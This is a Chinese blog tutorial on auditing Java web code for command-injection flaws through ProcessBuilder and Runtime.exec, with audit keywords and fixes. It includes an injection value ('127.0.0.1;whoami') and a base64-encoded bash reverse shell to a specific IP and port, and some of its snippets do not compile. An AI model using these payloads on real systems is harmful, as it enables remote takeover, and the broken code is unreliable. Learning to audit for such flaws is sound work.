HacKerQWQ的博客空间

javaweb代码审计学习(命令执行)

Word count: 693Reading time: 3 min
2021/12/05 Share

命令执行漏洞

在java中,命令执行有ProcessBuilderRuntime两种,常常出现于ping、nslookup等调用系统shell的功能点

ProcessBuilder命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@RestController
public class proexec {
@RequestMapping("/proexec")
public static void exec(HttpServletRequest request, HttpServletResponse response) throws IOException {
String ip = request.getParameter("ip");
Process processBuilder = new ProcessBuilder("ping",ip).start();
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
String line;
Writer writer = response.getWriter();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(processBuilder.getInputStream()));
while ((line=bufferedReader.readLine())!=null){
// System.out.println(line);
writer.write(line+"<br/>");
}
bufferedReader.close();
}
}

上面的语句没有命令执行漏洞,原因在于ip这个参数被当做一个字符串进行传参。当执行的java语句变成如下时,就会产生命令执行

1
2
String exec = "ping -t 3 "+ip
Process p = new ProcessBuilder("bash","-c",exec).start()

最终调用的语句为

1
bash -c "ping -t 3 127.0.0.1;whoami"

Runtime exec 命令执行

1
2
3
4
5
6
7
8
9
10
11
12
//在单独的进程中执行指定的字符串命令
public Process exec(String command)
//在单独的进程中执行指定的命令和参数
public Process exec(String[] cmdarray)
//在具有指定环境的单独进程中执行指定的命令和参数
public Process exec(String[] cmdarray,String[] envp)
//在具有指定环境和工作目录的单独进程中执行指定的命令和参数
public Process exec(String[] cmdarray,String[] envp,File dir)
//在具有指定环境的单独进程中执行指定的字符串命令
public Process exec(String command,String[] envp)
//在具有指定环境和工作目录的单独进程中执行指定的字符串命令
public Process exec(String command,String[] envp,File dir)

传入字符串作为命令后,会将其进行StringTokenizer处理,分割成数组进行命令执行,Runtime exec的调用例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RestController
public class runexec {
@RequestMapping("/runexec")
public static void exec(HttpServletRequest request, HttpServletResponse response) throws IOException {
String ip = request.getParameter("ip");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");
}
}

同样,当执行命令的语句变为如下时,存在命令执行漏洞

1
2
String exec = "ping -t 3 "+ip
Process p = Runtime.getRuntime.exec("bash","-c",exec)
  • 需要注意的是exec方法会使用StringTokenizer进行字符串的处理,标志符是空格,因此可以使用${IFS}进行空格的替换

    1
    java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","{echo,'YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS81NTY2IDwmMQ=='}|{base64,-d}|{bash,-i}"});

命令执行漏洞审计关键字

1
2
3
processBuilder
Runtime
exec

命令执行漏洞修复

  1. 使用现有的API,不使用原生的Runtime.getRuntime.exec()进行系统命令调用
  2. 对用户的输入进行关键字过滤、拦截
CATALOG
  1. 1. 命令执行漏洞
  2. 2. ProcessBuilder命令执行
  3. 3. Runtime exec 命令执行
  4. 4. 命令执行漏洞审计关键字
  5. 5. 命令执行漏洞修复